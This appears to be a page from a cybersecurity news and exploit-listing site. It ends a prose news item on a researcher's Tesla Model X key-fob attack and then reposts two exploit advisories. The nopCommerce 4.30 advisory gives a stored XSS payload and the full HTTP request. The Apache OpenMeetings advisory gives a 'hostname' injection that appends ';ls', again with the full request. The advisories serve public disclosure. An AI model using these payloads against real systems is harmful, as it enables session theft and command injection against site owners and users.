Once in the vehicle, Wouters has to use another exploit to get the vehicle started. By accessing the USB port hidden behind a panel under the display, Wouters is able to connect his backpack computer to the vehicle’s CAN (Controller Area Network) bus and tell the vehicle’s computer that his spoofed key fob is valid. With that done, the Model X believes a valid key is in the vehicle and willingly starts up and is ready to drive away.

The issue is that the key fob and BCM, while connecting to each other, don’t go the extra step of validating firmware updates to the key fob, giving the researcher access to the key by pretending to send over new firmware from Tesla. “The system has everything it needs to be secure,” Wouters told Wired. “And then there are a few small mistakes that allow me to circumvent all of the security measures.”

Wouters also noted that this type of exploit isn’t unique to Tesla. “They’re cool cars, so they’re interesting to work on,” Wouters told Wired. “But I think if I spent as much time looking at other brands, I would probably find similar issues.”

Tesla has a history of working with security researchers and even offers up a Model 3 every year to the Pwn2Own competition. Wouters won’t share the technical details of his exploit until January at the Real World Crypto conference.

Bookmark
ClosePlease login

nopCommerce Store 4.30 – ‘name’ Stored Cross-Site Scripting

By
Steven Black (n0tst3)
-
0

CVE: N/A

Platform: Multiple

Date: 2020-11-24

# Exploit Title: nopCommerce Store 4.30 - 'name' Stored Cross-Site Scripting
# Date: 24-11-2020
# Exploit Author: Hemant Patidar (HemantSolo)
# Vendor Homepage: https://www.nopcommerce.com/
# Version: 4.30
# Tested on: Windows 10/Kali Linux

Stored Cross-site scripting(XSS):
Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application.

Attack vector:
This vulnerability can results attacker to inject the XSS payload in Schedule tasks and each time any user will go to that page of the website, the XSS triggers and attacker can able to steal the cookie according to the crafted payload.

Vulnerable Parameters: Schedule tasks.

Steps-To-Reproduce:
1. Go to the nopCommerce Store admin page.
2. Now go to the System-Schedule tasks option.
3. Now click to on edit button on any task.
4. Put the below payload in Schedule tasks: "hemantsolo"><img src=x onerror=confirm(1)>"
5. Now click on Update button.
6. The XSS will be triggered.

POST /Admin/ScheduleTask/TaskUpdate HTTP/1.1
Host: 127.0.0.1
Connection: close
Content-Length: 335
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: 127.0.0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: 127.0.0.1/Admin/ScheduleTask/List
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,hi;q=0.7,ru;q=0.6
Cookie: xyz

Id=5&Name=hemantsolo%22%3E%3Cimg+src%3Dx+onerror%3Dconfirm(1)%3E&Seconds=3600&Enabled=false&StopOnError=false&__RequestVerificationToken=CfDJ8Hstb5ORl7RLtnBnyhE10fENmFHuOPhDq-cN_XNT5gs_nUq2ht5UeggYY9Fea9OqSCeJnVy_e4IKpQ7HhLYwtOMRS76BYcfJ9Os-CI9BxTxrumbAaunwIxrDMZm6CbNRs9EPzKQabez4H7dNpXG6oVpiC5Pc__xQVm06bp4c4O_D15lqehkk6EmqDAizfm8LFA
Bookmark
ClosePlease login

Apache OpenMeetings 5.0.0 – ‘hostname’ Denial of Service

By
Steven Black (n0tst3)
-
0

CVE: 2020-13951

Platform: Multiple

Date: 2020-11-24

# Exploit Title: Apache OpenMeetings 5.0.0 - 'hostname' Denial of Service
# Google Dork: "Apache OpenMeetings DOS"
# Date: 2020-08-28
# Exploit Author: SunCSR (ThienNV - Sun* Cyber Security Research)
# Vendor Homepage: https://openmeetings.apache.org/
# Software Link: https://openmeetings.apache.org/
# Version: 4.0.0 - 5.0.0
# Tested on: Windows
# CVE: CVE-2020-13951

- POC:
# Vulnerability variable: hostname
# Payload: x.x.x.x;ls
# Request exploit:

GET /openmeetings/wicket/bookmarkable/org.apache.openmeetings.web.pages.HashPage?3-1.0-panel~main&app=network&navigatorAppName=Netscape&navigatorAppVersion=5.0 (Windows)&navigatorAppCodeName=Mozilla&navigatorCookieEnabled=true&navigatorJavaEnabled=false&navigatorLanguage=en-US&navigatorPlatform=Win32&navigatorUserAgent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0&screenWidth=1920&screenHeight=1080&screenColorDepth=24&jsTimeZone=Asia/Ho_Chi_Minh&utcOffset=7&utcDSTOffset=7&browserWidth=1920&browserHeight=966&hostname=x.x.x.x;ls&codebase=https://x.x.x.x:5443/openmeetings/hash&settings=[object Object]&_=1597801817026

- Reference: 
https://lists.apache.org/thread.html/re2aed827cd24ae73cbc320e5808020c8d12c7b687ee861b27d728bbc%40%3Cuser.openmeetings.apache.org%3E
https://nvd.nist.gov/vuln/detail/CVE-2020-13951
Bookmark
ClosePlease login
1...727374...79Page 73 of 79

Editor Picks

Featured

Cyber Academy

ABOUT US

RiSec represents an autonomous, non-profit alliance comprising of individuals dedicated to enhancing cybersecurity awareness and education. Read more

Contact us: security@realinfosec.net

Social

Subscribe for weekly updates

Copyright © RiSec 2023 All rights reserved.
All trademarks, logos, images and brand names are the property of their respective owners.